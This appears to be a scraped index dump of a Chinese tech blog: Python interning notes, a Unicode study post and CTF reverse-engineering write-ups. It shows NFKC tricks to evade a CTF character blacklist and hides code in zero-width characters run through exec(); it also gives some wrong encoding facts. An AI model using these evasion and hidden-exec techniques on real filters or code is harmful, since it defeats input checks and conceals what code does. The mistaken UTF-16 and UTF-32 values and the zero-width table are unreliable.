\u0026#39;hi!\u0026#39; 14\u0026gt;\u0026gt;\u0026gt; b = \u0026#39;hi!\u0026#39; 15\u0026gt;\u0026gt;\u0026gt; a is b 16False 17\u0026gt;\u0026gt;\u0026gt; a = \u0026#39;hello_world\u0026#39; 18\u0026gt;\u0026gt;\u0026gt; b = \u0026#39;hello_world\u0026#39; 19\u0026gt;\u0026gt;\u0026gt; a is b 20True 注意:Python 中 == 运算符用于判断两个数据在数值上是否相等,而 is 关键字用于判断两个数据的引用是否一致,通俗来说就是地址是否一致。\n1\u0026gt;\u0026gt;\u0026gt; a = 10 2\u0026gt;\u0026gt;\u0026gt; b = 10.0 3\u0026gt;\u0026gt;\u0026gt; a == b 4True 5\u0026gt;\u0026gt;\u0026gt; a is b 6False 小整数池 Python 为了节约运行内存,添加了小整数池机制。Python 会将 -5 到 256 (含 -5 与 256)的数据存储在固定位置,在需要时直接引用,而不是创建一个新的整形对象。因此:\n1\u0026gt;\u0026gt;\u0026gt; a = 10 2\u0026gt;\u0026gt;\u0026gt; b = 10 3\u0026gt;\u0026gt;\u0026gt; id(a) 4140720040721112 5\u0026gt;\u0026gt;\u0026gt; id(b) 6140720040721112 除了整型对象,仅有的两个布尔型对象也有固定的地址,每次引用都是相同的 True(或者 False)。然而,对于超出小整数池的数据,在引用时就会创建出一个新的对象:\n1\u0026gt;\u0026gt;\u0026gt; a = 1234 2\u0026gt;\u0026gt;\u0026gt; b = 1234 3\u0026gt;\u0026gt;\u0026gt; id(a) 42180555911728 5\u0026gt;\u0026gt;\u0026gt; id(b) 62180558782128 当然,上面的操作都在 Python Shell 中完成。如果在 IDLE 中编写好代码再运行,结果也许会有些许不同……\nInterning 对于上面的例子,在 IDLE 中写好代码运行的结果如下:\n1a = 1234 2b = 1234 3print(id(a)) 4print(id(b)) 5print(a is b) 6 7\u0026#39;\u0026#39;\u0026#39; 8output: 92230861897584 102230861897584 11True 12\u0026#39;\u0026#39;\u0026#39; 不难发现,这一次运行程序,两个 1234 的引用一致。这是因为,Python 在创建了一个整型对象 1234 并被变量 a 引用后,变量 b 也需要引用一个整型对象 1234,因此 b 也引用了刚才创建的整型对象。\n不仅仅是整型对象,除元组外的不可变对象在编译模式下都适用 Interning 机制,而仅当元组内的所有元素都为不可变对象时,元组才适用 Interning 机制。\n字符串驻留 上述 Interning 机制是对于编译模式来讲的,而在交互模式中,同样有字符串驻留机制用于节约内存,以下情况会在交互模式中触发:\n字符串的长度为 0 或 1 字符串长度大于 1 且字符串中仅含有字母、数字及下划线 驻留发生在编译时而非运行时 在查找资料时,许多文章都提到由乘法得到的字符串长度小于等于 20 且仅含有字母、数字及下划线时也会触发驻留机制,然而依据我在 Python 3.12 中的尝试:\n1\u0026gt;\u0026gt;\u0026gt; a = \u0026#39;1234567890qwertyuiop_ASDFGHJKL\u0026#39; * 10 2\u0026gt;\u0026gt;\u0026gt; b = \u0026#39;1234567890qwertyuiop_ASDFGHJKL\u0026#39; * 10 3\u0026gt;\u0026gt;\u0026gt; len(a) 4300 5\u0026gt;\u0026gt;\u0026gt; len(b) 6300 7\u0026gt;\u0026gt;\u0026gt; a is b 8True 这一条似乎并不成立。\n这里面最难以理解的应该是第三条,可以用下面的例子解释:\n1\u0026gt;\u0026gt;\u0026gt; a = \u0026#39;Hi_\u0026#39; 2\u0026gt;\u0026gt;\u0026gt; b = \u0026#39;Hi\u0026#39; + \u0026#39;_\u0026#39; 3\u0026gt;\u0026gt;\u0026gt; a is b 4True # 编译时 5\u0026gt;\u0026gt;\u0026gt; a = \u0026#39;Hi_\u0026#39; 6\u0026gt;\u0026gt;\u0026gt; b = \u0026#39;Hi\u0026#39; 7\u0026gt;\u0026gt;\u0026gt; b + \u0026#39;_\u0026#39; is a 8False # 运行时 ","link":"https://jackgdn.github.io/post/python-%E5%86%85%E5%AD%98%E7%9B%B8%E5%85%B3%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/","section":"post","tags":["Python"],"title":"Python 内存相关学习记录"},{"body":"","link":"https://jackgdn.github.io/tags/unicode/","section":"tags","tags":null,"title":"Unicode"},{"body":"前段时间有一道不是很难的 Python 沙箱逃逸问题,用到了 Unicode 的 NFKC。这一次详细记录一下 Unicode 里有点意思的特性。\nNFKC 利用 NFKC 算是 Python 沙箱逃逸类题目里较为常用的一种方式。在编写攻击载荷时不得不用到某个字符,但是这个字符又被列入了检测的黑名单中,则会利用 Unicode 的 NFKC 标准化,而 Python 恰好也支持 NFKC,这不就巧了嘛!\n简单来说,NFKC 可以让程序更好地理解一些字符,它将那些形状类似但是编码不同的字符归为一组字符。例如说在 Unicode 中合字 ffi (U+FB03) 在视觉上等同于 ffi 三个字符拼凑而成,因此需要计算机软件能够识别 ffi 三个字符等同于 ffi 合字字符,以便于用户检索。\n因此在 Python 中就会有如下输出:\n1print(\u0026#34;1\u0026#34; == \u0026#34;1\u0026#34;) # U+FF11 2print(int(\u0026#34;1\u0026#34;) == int(\u0026#34;1\u0026#34;)) 3 4# output: 5# 6# False 7# True 在下面两个网站里可以找到取代某个 ASCII 字符的 Unicode 字符:\nGithub - h13t0ry/UnicodeToy: Unicode fuzzer for various purposes\nList of Unicode Characters of Bidirectional Class “European Number”\n看下面一道例题:\n1from secret import flag 2data = input(\u0026#39;\u0026gt; \u0026#39;) 3assert len(data) \u0026lt;= 9 and all(i not in \u0026#39;123456789\u0026#39; for i in data) and int(data) == 123456789 4print(flag) 看上去不是很麻烦。题目会在远程服务器上运行,secret 模块及其中的 flag 常量都存储在远程服务器上。 如果我们输入的 data 能够满足这个 assert 中的条件,flag 就会自己跳出来。\n条件如下:\ndata 的长度小于等于 9\ndata 中不含 “123456789” 中的任意一个字符\ndata 转化为整型后与 123456789 相等\n根据上面提到的内容,我们知道这道题需要利用 NFKC 得到正确的输入,不妨用下述代码遍历:\n1// filename: Exp_123456789 2 3public class Exp_123456789 { 4 public static void main(String[] args) { 5 // superscript numbers 6 System.out.printf(\u0026#34;%c%c%c\u0026#34;, \u0026#39;\\u00B9\u0026#39;, \u0026#39;\\u00B2\u0026#39;, \u0026#39;\\u00B3\u0026#39;); 7 for(char i = \u0026#39;\\u2074\u0026#39;; i \u0026lt;= \u0026#39;\\u2079\u0026#39;; i++) { 8 System.out.print(i); 9 } 10 System.out.print(\u0026#39;\\n\u0026#39;); 11 // subscript numbers 12 for(char i = \u0026#39;\\u2081\u0026#39;; i \u0026lt;= \u0026#39;\\u2089\u0026#39;; i++) { 13 System.out.print(i); 14 } 15 System.out.print(\u0026#39;\\n\u0026#39;); 16 // numbers with full stop 17 for(char i = \u0026#39;\\u2488\u0026#39;; i \u0026lt;= \u0026#39;\\u2490\u0026#39;; i++) { 18 System.out.print(i); 19 } 20 System.out.print(\u0026#39;\\n\u0026#39;); 21 //full width numbers 22 for(char i = \u0026#39;\\uFF11\u0026#39;; i \u0026lt;= \u0026#39;\\uFF19\u0026#39;; i++) { 23 System.out.print(i); 24 } 25 } 26} 27 28/* 29output: 30¹²³⁴⁵⁶⁷⁸⁹ 31₁₂₃₄₅₆₇₈₉ 32⒈⒉⒊⒋⒌⒍⒎⒏⒐ 33123456789 34*/ 其实这段代码用 Python 实现更为方便,为了锻炼 Java 能力就先这么写了。不过后面判断哪一组数据符合条件,依然要使用 Python:\n1code = \u0026#34;assert len(data) \u0026lt;= 9 and all(i not in \u0026#39;123456789\u0026#39; for i in data) and int(data) == 123456789\u0026#34; 2try: 3 data = \u0026#34;¹²³⁴⁵⁶⁷⁸⁹\u0026#34; # superscript numbers 4 exec(code) 5 print(data) 6except: 7 try: 8 data = \u0026#34;₁₂₃₄₅₆₇₈₉\u0026#34; # subscript numbers 9 exec(code) 10 print(data) 11 except: 12 try: 13 data = \u0026#34;⒈⒉⒊⒋⒌⒍⒎⒏⒐\u0026#34; # numbers with full stop 14 exec(code) 15 print(data) 16 except: 17 data = \u0026#34;123456789\u0026#34; # full width numbers 18 exec(code) 19 print(data) 20 21# output: 123456789 宽字符赢得了比赛!\n零宽字符隐写 前几天想用零宽字符给述职报告凑字数,然后知道了这个东西。不妨先看看零宽字符是什么个东西。通俗来讲,零宽字符就是“宽度为 0 的字符”,一般在从右向左书写的语言以及字与字之间有连笔的语言,如阿拉伯语。下面是一个零宽字符的例子:\n1string = \u0026#34;A\u0026#34; + \u0026#34;\\u200C\\u200C\\u200D\\u200D\u0026#34; + \u0026#34;b\u0026#34; 2print(string) 3print(len(string)) 4 5# output: 6# 7# Ab 8# 6 在上面的例子中,我们用到了 U+200C 与 U+200D 这两个零宽字符,它们分别是 “断字符” 和 “连字符”,用于控制阿拉伯语的连笔,故在英文语境下不会被打印出来。下面这张表是 Unicode 中全部零宽字符:\n编码 描述 U+200A ZERO WIDTH SPACE U+200B ZERO WIDTH SPACE U+200C ZERO WIDTH NON-JOINER U+200D ZERO WIDTH JOINER U+200E LEFT-TO-RIGHT MARK U+200F LEFT-TO-RIGHT MARK U+202A LEFT-TO-RIGHT EMBEDDING U+202C POP DIRECTIONAL FORMATTING U+202D LEFT-TO-RIGHT OVERRIDE U+2062 INVISIBLE TIMES U+2063 INVISIBLE SEPARATOR U+FEFF ZERO WIDTH NO-BREAK SPACE 如果一段文本中夹杂了零宽字符,一般的文本编辑器无法显示,但是放入 Cyberchef 或者 Vim 中就能看到了。用上面的 \u0026quot;Ab\u0026quot; 举例子:\n那么什么是零宽字符隐写呢?零宽字符隐写将密文对应的编码转化为不同的零宽字符,并将其混杂在正常的文本中。例如说,我使用 U+200C 与 U+200D 两种零宽字符作为用于加密,我可以令 U+200C 对应二进制 0,U+200D 对应二进制 1。下面这段代码,将 \u0026quot;Meschenrechte\u0026quot; 这个单词隐写入 \u0026quot;Hello, World!\u0026quot; 这句话中:\n1print(\u0026#34;Hello, World\u0026#34;, end = \u0026#39;\u0026#39;) 2secret = \u0026#34;Meschenrechte\u0026#34; 3 4for i in secret: 5 s = str(bin(ord(i)))[2:] 6 print(\u0026#34;\\u200C\u0026#34;, end = \u0026#39;\u0026#39;) 7 for k in s: 8 if k == \u0026#34;0\u0026#34;: 9 print(\u0026#34;\\u200C\u0026#34;, end = \u0026#39;\u0026#39;) 10 else: 11 print(\u0026#34;\\u200D\u0026#34;, end = \u0026#39;\u0026#39;) 12 13print(\u0026#34;!\u0026#34;) 14 15# output: Hello, World! 在这一样例程序,我们只是把密文转换成 U+200C 与 U+200D 两种零宽字符并全部放入了 'd' 与 '!' 之间的位置。然而在实际操作中,密文可以使用其他几种零宽字符、使用其他编码格式、打乱顺序等等。由此可见,零宽字符隐写并没有一个统一的标准,我可以用任意的符号来代替一种编码,因此实际上零宽字符隐写最大的优势在于它看不见。正是出于这个原因,我认为 2023 安洵杯“疯狂的麦克斯”一题并不严谨。有许多在线工具可以进行零宽字符的加密与解密,安洵杯中使用的是这个:\nUnicode Steganography with Zero-Width Characters\n哦对了,还需要一个解密脚本,对应我自己设计的隐写脚本:\n1text = \u0026#34;Hello, World!\u0026#34; 2cip = text[12: -1] 3 4for i in range(0, 104, 8): 5 seg = cip[i: i + 8] 6 dat = 0 7 for k in range(0, 8): 8 if seg[k] == \u0026#34;\\u200D\u0026#34;: 9 dat = dat + 2**(7 - k) 10 print(chr(dat), end = \u0026#39;\u0026#39;) 11 12# output: Meschenrechte 试了一下,我自己的隐写脚本得到的结果,拖到那个网站里解密会失败 (っ °Д °;)っ\nUnicode 中的零宽字符早已被人们开发出更多的用途,例如添加文字水印防止剽窃、反爬虫摸出关键字防止屏蔽或者给文章凑字数。\nUnicode 附加字符 这个似乎与 CTF 的关系并不大,但是也挺有意思。演示一下:\ǹ́̂̃̄̅̆̇̈ ̉̊̋̌̍̎̏̐̑ ̖̗̘̙̒̓̔̕̚ ̡̢̛̜̝̞̟̠̣ ̧̨̤̥̦̩̪̫̬ ̴̵̭̮̯̰̱̲̳ ̶̷̸̹̺̻̼̽̾ ͇̿̀́͂̓̈́͆ͅ ͈͉͍͎͊͋͌͏͐ ͓͔͕͖͙͑͒͗͘ ͚͛͜͟͢͝͞͠͡ ͣͤͥͦͧͨͩͪͫ ͬͭͮͯ\n这一坨是 Unicode 中的一些附加字符堆在一块的样子。附加字符在很多情境下都会被使用,例如:拼音。下面两组字符虽然看上去一样,但是对应的编码不一样。前者使用附加字符实现,后者是微软输入法特殊字符表中的打印字符。\nö:\\u006F\\u0308\nö:\\u00F6\n用 Python 就可以打印出附加字符。\n1string = \u0026#39; \u0026#39; 2 3for char in range(0x300, 0x310): 4 string = string + chr(char) 5 6print(string) 7 8 9# output: ̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏ 于是我们得到了一张鬼画符(?)\nUnicode 附加字符的优点正如你所看到的一样:更加灵活。\n代码混淆 Python 似乎是支持中文变量名的:\n1import dis as 蒂斯 2 3def 我再也不学Python了(): 4 苹果 = 10 5 香蕉 = 20 6 print(苹果 + 香蕉) 7 print(type(我再也不学Python了)) 8 9我再也不学Python了() 10 11蒂斯.dis(我再也不学Python了) 12 13\u0026#39;\u0026#39;\u0026#39; 14output: 15 1630 17\u0026lt;class \u0026#39;function\u0026#39;\u0026gt; 18 38 0 RESUME 0 19 20 39 2 LOAD_CONST 1 (10) 21 4 STORE_FAST 0 (苹果) 22 23 40 6 LOAD_CONST 2 (20) 24 8 STORE_FAST 1 (香蕉) 25 26 41 10 LOAD_GLOBAL 1 (NULL + print) 27 20 LOAD_FAST 0 (苹果) 28 22 LOAD_FAST 1 (香蕉) 29 24 BINARY_OP 0 (+) 30 28 CALL 1 31 36 POP_TOP 32 33 42 38 LOAD_GLOBAL 1 (NULL + print) 34 48 LOAD_GLOBAL 3 (NULL + type) 35 58 LOAD_GLOBAL 4 (我再也不学Python了) 36 68 CALL 1 37 76 CALL 1 38 84 POP_TOP 39 86 RETURN_CONST 0 (None) 40 41\u0026#39;\u0026#39;\u0026#39; 这种混淆算是较为一般的混淆,单纯修改变量名而不对运行逻辑进行修改,有些类似于“0O”混淆。但是这不禁让我想到,既然中文能够作为变量名,那么是不是大部分 Unicode 字符都可以当作变量名,甚至包括上文提到的零宽字符!\n实际上是不能的。但是零宽字符确实可以用于另一种形式的代码混淆,例如下面这段代码:\n1encoded = \u0026#34;\u0026#34; 2exec(\u0026#34;\u0026#34;.join([chr(int(i.replace(\u0026#39;\\u200C\u0026#39;, \u0026#39;0\u0026#39;).replace(\u0026#39;\\u200D\u0026#39;, \u0026#39;1\u0026#39;), 2)) for i in encoded.split(\u0026#39;\\u200B\u0026#39;)])) 3 4# output: Hello, World! 我去,很神奇是不是!其原理也简单,使用零宽度字符隐写的方式将实际要执行的代码(在本案例中是 print(\u0026quot;Hello, World!))编码,在执行的过程中再解码,有 SMC 那味。此案例中 encoded 生成的方式如下:\n1code = \u0026#34;\u0026#34;\u0026#34;print(\u0026#39;Hello, World!\u0026#39;)\u0026#34;\u0026#34;\u0026#34; 2encoded = \u0026#39;_\u0026#39; + \u0026#39;\\u200B\u0026#39;.join([bin(ord(i))[2:].replace(\u0026#39;0\u0026#39;,\u0026#39;\\u200C\u0026#39;).replace(\u0026#39;1\u0026#39;,\u0026#39;\\u200D\u0026#39;) for i in code]) + \u0026#39;_\u0026#39; 3print(encoded) 4 5# output: __ 6# 为了便于复制,我在编码的前后各加了一个下划线 UTF-7 UTF-7 编码并不是一种严格的 Unicode 编码。个人认为,这种编码实际上更加类似于 Base64 编码。UTF-7 的出现,是为了满足早期只能传输 7-bit 字符的 SMTP 标准,故现在 UTF-7 编码也正在逐渐被弃用。UTF-7 原理较为简单,下面是一个简单的 UTF-7 与 UTF-8 转化的例子。首先我们拿出待转化的 UTF-8 字符:\n绷\n然后打印出它的编码的二进制:\n1\u0026gt;\u0026gt;\u0026gt; bin(ord(\u0026#39;绷\u0026#39;))[2:].rjust(16, \u0026#39;0\u0026#39;) 2\u0026#39;0111111011110111\u0026#39; 然后像 Base64 编码那样将其六位一组切开,不够的位置补零。\n1\u0026gt;\u0026gt;\u0026gt; [\u0026#39;0111111011110111\u0026#39;.ljust(18, \u0026#39;0\u0026#39;)[i: i + 6] for i in range(0, 18, 6)] 2[\u0026#39;011111\u0026#39;, \u0026#39;101111\u0026#39;, \u0026#39;011100\u0026#39;] 随后查表。UTF-7 中使用的 Base64 编码表和标准 Base64 编码表有一些区别。UTF-7 使用的编码表并不使用 = 补齐。由此我们可以写出编码转化的最后一步了:\n1\u0026gt;\u0026gt;\u0026gt; \u0026#34;\u0026#34;.join([\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;[int(j, 2)] for j in [\u0026#39;011111\u0026#39;, \u0026#39;101111\u0026#39;, \u0026#39;011100\u0026#39;]]) 2\u0026#39;fvc\u0026#39; 于是我们得到了 绷 这个汉字的 UTF-7 编码:fvc。\n把上面的代码碎片合计一下,我们就能得到获取单个 UTF-8 字符的 UTF-7 编码的代码:\n1print(\u0026#34;\u0026#34;.join([\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;[int(j, 2)] for j in [bin(ord(\u0026#39;绷\u0026#39;))[2:].rjust(16, \u0026#39;0\u0026#39;).ljust(18, \u0026#39;0\u0026#39;)[i: i + 6] for i in range(0, 18, 6)]])) 2 3# output: fvc UTF-7 编码有许多例外的情况:\n62 个数字与英语字母不需要转化;' ( ) , - . / : ? 这九种字符也无需转化。 + 被编码做 +-。 每一个区块以 + 为开头,- 为结尾。 1print(\u0026#34;+\u0026#34; + \u0026#34;-+\u0026#34;.join([\u0026#34;\u0026#34;.join([\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;[int(j, 2)] for j in [bin(ord(k))[2:].rjust(16, \u0026#39;0\u0026#39;).ljust(18, \u0026#39;0\u0026#39;)[i: i + 6] for i in range(0, 18, 6)]]) for k in \u0026#34;绷不住了,笑えるwww\u0026#34;]) + \u0026#34;-\u0026#34;) 2 3# output: +fvc-+Tg0-+T08-+ToY-+/ww-+exE-+MEg-+MIs-+AHc-+AHc-+AHc- 上面这行代码能且只能标准地编码非 ASCII 编码字符的 UTF-8 编码字符,而不能对 ASCII 编码字符进行标准地编码,因为有近一半的 ASCII 字符的 UTF-7 编码与其 ASCII 编码一致——正如上文提到的那样。Cyberchef 里面带有 UTF-7 的编码和解码工具,并且那一解码工具能够对我这段非标准的编码进行解码。\n其实硬解也能解码,不是吗?\n既然编码代码都有了,那不妨把对应的解码代码造出来吧。还是要优雅地塞到一行里去:\n1print(\u0026#34;\u0026#34;.join([chr(int(int((bin(\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;.index(i[0]))[2:].rjust(6, \u0026#39;0\u0026#39;) + bin(\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;.index(i[1]))[2:].rjust(6, \u0026#39;0\u0026#39;) + bin(\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;.index(i[2]))[2:].rjust(6, \u0026#39;0\u0026#39;))[: -2], 2))) for i in \u0026#39;+fvc-+Tg0-+T08-+ToY-+/ww-+exE-+MEg-+MIs-+AHc-+AHc-+AHc-\u0026#39;[1:-1].split(\u0026#34;-+\u0026#34;)])) 2 3# output: 绷不住了,笑えるwww 实际上字符串位置是可以用 input() 的,我们不妨改成更易于在 Python Shell 里运行的代码:\n1\u0026gt;\u0026gt;\u0026gt; print(\u0026#34;+\u0026#34; + \u0026#34;-+\u0026#34;.join([\u0026#34;\u0026#34;.join([\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;[int(j, 2)] for j in [bin(ord(k))[2:].rjust(16, \u0026#39;0\u0026#39;).ljust(18, \u0026#39;0\u0026#39;)[i: i + 6] for i in range(0, 18, 6)]]) for k in input(\u0026#34;\u0026gt; \u0026#34;)]) + \u0026#34;-\u0026#34;) 2\u0026gt; 先帝创业未半而骈死于槽枥之间 3+UUg-+Xh0-+Uhs-+Tho-+Zyo-+U0o-+gAw-+mog-+a3s-+To4-+af0-+Z6U-+Tks-+lfQ- 4\u0026gt;\u0026gt;\u0026gt; print(\u0026#34;\u0026#34;.join([chr(int(int((bin(\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;.index(i[0]))[2:].rjust(6, \u0026#39;0\u0026#39;) + bin(\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;.index(i[1]))[2:].rjust(6, \u0026#39;0\u0026#39;) + bin(\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#39;.index(i[2]))[2:].rjust(6, \u0026#39;0\u0026#39;))[: -2], 2))) for i in input(\u0026#34;\u0026gt; \u0026#34;)[1:-1].split(\u0026#34;-+\u0026#34;)])) 5\u0026gt; +UUg-+Xh0-+Uhs-+Tho-+Zyo-+U0o-+gAw-+mog-+a3s-+To4-+af0-+Z6U-+Tks-+lfQ- 6先帝创业未半而骈死于槽枥之间 本段 UTF-7 相关代码纯手搓,Just for fun!\nUnicode 与 UTF-8、UTF-16、UTF-32 本来这一段应该是留给 UTF-16 的,但是学习了一些内容之后我感觉我对 UTF-8 也一点都不了解。遂把这些合并到一起去。\n这四者的关系,Unicode 是字符集,字符集中的每一个字符都有唯一的编号;后面四者为编码方式,用不同的方式表示出某一个字符。举一个例子:绷 这个字的 Unicode 编号是 U+7EF7,UTF-8 编码是 E7 BB B7,UTF-16LE 编码是 EB AF B7,UTF-32LE 编码是 F1 BB AF A7。\n下面这张表列出了你能见到 Unicode 编号以及编码的地方:\nUnicode 编号 UTF 编码 形如 U+XXXX 的 二进制文本查看器 各种编程语言中 \\uXXXX 或者 \\UXXXXXXXX 各种编程语言中打印 0xXXXX 对应的字符 Python 中使用 ord() 函数 所以说,本文前面的某些内容是不严谨的(我长期错把 Unicode 编号当作 UTF-8 编码) ㄟ( ▔, ▔ )ㄏ\nUnicode 与 UTF-8 Unicode 编号范围是 U+0000 到 U+10FFFF,占据字节大小为 1 到 3 个不等。下表展示了 Unicode 编号长度与 UTF-8 编码长度的关系:\nUnicode 编号范围 UTF-8 编码二进制格式 UTF-8 编码占据字节数 U+00 - U+7F 0XXXXXXX 1 U+80 - U+07FF 110XXXXX 10XXXXXX 2 U+0800 - U+FFFF 1110XXXX 10XXXXXX 10XXXXXX 3 U+010000 - U+10FFFF 11110XXX 10XXXXXX 10XXXXXX 10XXXXXX 4 0 - 7F 的范围是 ASCII 编码的范围,这一部分 UTF-8 与 ASCII 编码是一致的。在后面的编码中,每个编码由多个字节组成,其中第一个字节前面由若干个连续的 1 和一个 0 开头,这用于告诉计算机,有多少个连续的 1,就说明字符从这一个字节开始,共占据了多少个字节。其后每一个字节都以 10 开头。中间的 X 则使用 Unicode 编号的二进制填充。\n例如 绷 这个字,其 Unicode 编号为 U+7EF7,在上表中显然位于第三行。我们先打印出其二进制:\n1\u0026gt;\u0026gt;\u0026gt; bin(ord(\u0026#39;绷\u0026#39;))[2:].rjust(16, \u0026#39;0\u0026#39;) 2‘0111111011110111’ 随后按照 4+6+6 的宽度将其切成三份:0111 111011 110111。\n然后手动填充格式,得到 UTF-8 编码的二进制:11100111 10111011 10110111\n1\u0026gt;\u0026gt;\u0026gt; hex(0b111001111011101110110111) 2\u0026#39;0xe7bbb7\u0026#39; 于是,我们得到了 绷 这个字的 UTF-8 编码:E7 BB B7\n需要注意的是,填充那一步需要从右向左填充,因而如果最高位是 0 就可以省略(不然你猜为什么 2 字节 UTF-8 编码中可填充的二进制位只有 11 个)。\nUnicode 与 UTF-16 与 UTF-8 一样,UTF-16 也是一种变长字节编码格式。不过 UTF-16 的编码方式更为简单粗暴:\n对于编号在 U+0000 到 U+FFFF 的字符,直接把编号当作编码,统一占两个字节 对于编号在 U+10000 到 U+10FFFF 的字符,先给它减去 0x10000,再填进 110110XX XXXXXXXX 110111XX XXXXXXXX 举个例子:兔\n如果你复制下来,你会发现它这个字占了四个字节,它的 Unicode 编号是 U+2F80E。我在“中日韩兼容表意文字区(CJK Compatibility Ideographs)”复制了这个字符,一些日语汉字会出现在这个区间。使用某些日语输入法打印出来的日语汉字的编码会与中文一样,这一区间用于存储日、韩、越语言中特有或者异形汉字。但是根据 NFKC 标准化,在网页上你是能够直接通过搜索“兔”找到这个字的。\n把它转换成 UTF-16,首先将其 Unicode 编号减去 0x10000:\n1\u0026gt;\u0026gt;\u0026gt; bin(ord(\u0026#39;兔\u0026#39;) - 0x10000)[2:].rjust(20, \u0026#39;0\u0026#39;) 2\u0026#39;00011111100000001111\u0026#39; 随后按照 2+8+2+8 的宽度将其切成四份:00 01111110 00 00001111。\n然后手动填充格式,得到 UTF-16 编码的二进制:11011000 01111110 11011100 00001111\n1\u0026gt;\u0026gt;\u0026gt; hex(0b11011000011111101101110000001111) 2\u0026#39;0xd87edc0f\u0026#39; 于是,我们得到了 兔 这个字的 UTF-16 编码:D8 7E DC 0F\nUTTF-16 编码是两个字节为一组读取,因此就要考虑字节序的问题。上面这一种为大端序,也就是 UTF-16BE,其小端序存储形式 UTF-16LE 为 7E D8 0F DC。为了区分大小端序,文件开头部分会有 FE FF(大端序)或 FF FE(小端序)的标注。而 UTF-8 编码中,计算机按顺序每次读取一个字节,因此不存在大小端序的问题。\n这时聪明的小朋友就要问了,计算机怎么知道这一个字符占了两个字节还是四个字节呢?这就不得不说 Unicode 的巧妙之处了。如果你仔细观察 Unicode 字符集,你会发现 U+D800 到 U+DBFF 被描述为\u0026quot;High Surrogate\u0026quot;(高代理项),U+DC00 到 U+DFFF 被描述为\u0026quot;Low Surrogate\u0026quot;(低代理项)。这两个区间内(连起来就是一个区间)并不存储字符,而这两个区间又分别是 110110XX XXXXXXXX 与 110111XX XXXXXXXX 的范围。因此,当计算机两字节一组读取到 D8 到 DB 中的某个值,就知道这个字符占据四个字节;读取到 DC 到 DF 中某个字节,就知道这两个字节要跟着前面两个字节一块解码。\nUnicode 与 UTF-32 UTF-32 是固定宽度编码,每一个编码占据 4 个字节,因此也许是最好理解的一种编码,直接由 Unicode 编号作为编码,因此 UTF-32 也有浪费存储空间的特点。\n","link":"https://jackgdn.github.io/post/unicode-%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/","section":"post","tags":["Python","Unicode","编码"],"title":"Unicode 学习记录"},{"body":"","link":"https://jackgdn.github.io/tags/%E7%BC%96%E7%A0%81/","section":"tags","tags":null,"title":"编码"},{"body":" CSGO 一个 Go 编写的程序,不过似乎没法调试(一调试就会卡住),尝试不使用调试器运行,然后 attach 到进程上去,这样才能动调。\n先静态分析。\n在 main_main() 函数 75 行处,fmt_Fscanf() 读取我们输入的内容;79-103 行对输入内容进行操作。104-125 行判断输入内容是否正确并给出答复。\n如上图,值得注意的是,在第 88 行处出现 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,疑似是 Base64 编码。\n现在在进入判断前的语句处打断点调试,发现如下字符串:\nkx8skC4EXSgqkuQ5kQI4XAIEmCgqnuX/mR8EiB45mCoqjfU6oicqk/HsTi/=\n看来这里使用的是 Base64 无疑了。不过这一串怎么看怎么不像正常编码编码出来的 flag。\n尝试后也确实是这样。众所周知,正常 Base64 编码的 'fla' 三个字符是 'Zmxh',这四个字符在编码表中的相对位置分别是 13、11、-16,而此编码前四个字符的相对位置也分别是 13、11、-16,因此我们大胆猜测换过的编码表只是将原先的编码表循环位移,根据偏移量知道换过的编码表为 'LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJK='\nflag{y0u_f1nd_m3_you_r34lly_know_aBout_gO!!}\nezvm 程序相当简洁。程序读取输入的 34 个字节并存储到 program 中。fetch() 函数读取 program 中的操作码,eval() 函数则会根据操作码执行程序。虚拟机的核心,也就是虚拟机执行部分的伪代码如下:\n1switch ( a1 ) 2{ 3 case 0: 4 ++dword_404024; 5 ++dword_408030; 6 result = dword_404024; 7 stack[dword_404024] = program[dword_408030]; 8 break; 9 case 1: 10 stack[++dword_404024] = program[++dword_408030]; 11 v3 = dword_404024--; 12 v12 = stack[v3]; 13 v4 = dword_404024--; 14 v11 = stack[v4]; 15 result = ++dword_404024; 16 stack[dword_404024] = v11 + v12; 17 break; 18 case 2: 19 v2 = dword_404024--; 20 result = stack[v2]; 21 break; 22 case 3: 23 running = 0; 24 result = puts(\u0026#34;done\u0026#34;); 25 break; 26 case 4: 27 stack[++dword_404024] = program[++dword_408030]; 28 v5 = dword_404024--; 29 v10 = stack[v5]; 30 v6 = dword_404024--; 31 v9 = stack[v6]; 32 result = ++dword_404024; 33 stack[dword_404024] = v10 ^ v9; 34 break; 35 case 5: 36 stack[++dword_404024] = program[++dword_408030]; 37 v7 = dword_404024--; 38 v8 = stack[v7]; 39 result = v8; 40 if ( v8 != stack[dword_404024] ) 41 exit(0); 42 return result; 43 default: 44 return result; 45} 这里又使用 stack 模拟栈操作。为了方便后面表述,我们称高地址为栈顶,低地址为栈底。\n虚拟机中一共定义六种操作码:\n操作码 描述 0x00 将 program 中该操作码后的一个值压入栈顶 0x01 将栈顶的两个值相加,存储到其中较低的地址 0x02 栈顶指针向低地址移动。虽然栈以外的值没有被丢弃,但是也不会再被使用了,因此该题中“栈顶”是以栈指针确定的 0x03 结束运行,并给出完成运行的提示,也就是我们想要的提示 0x04 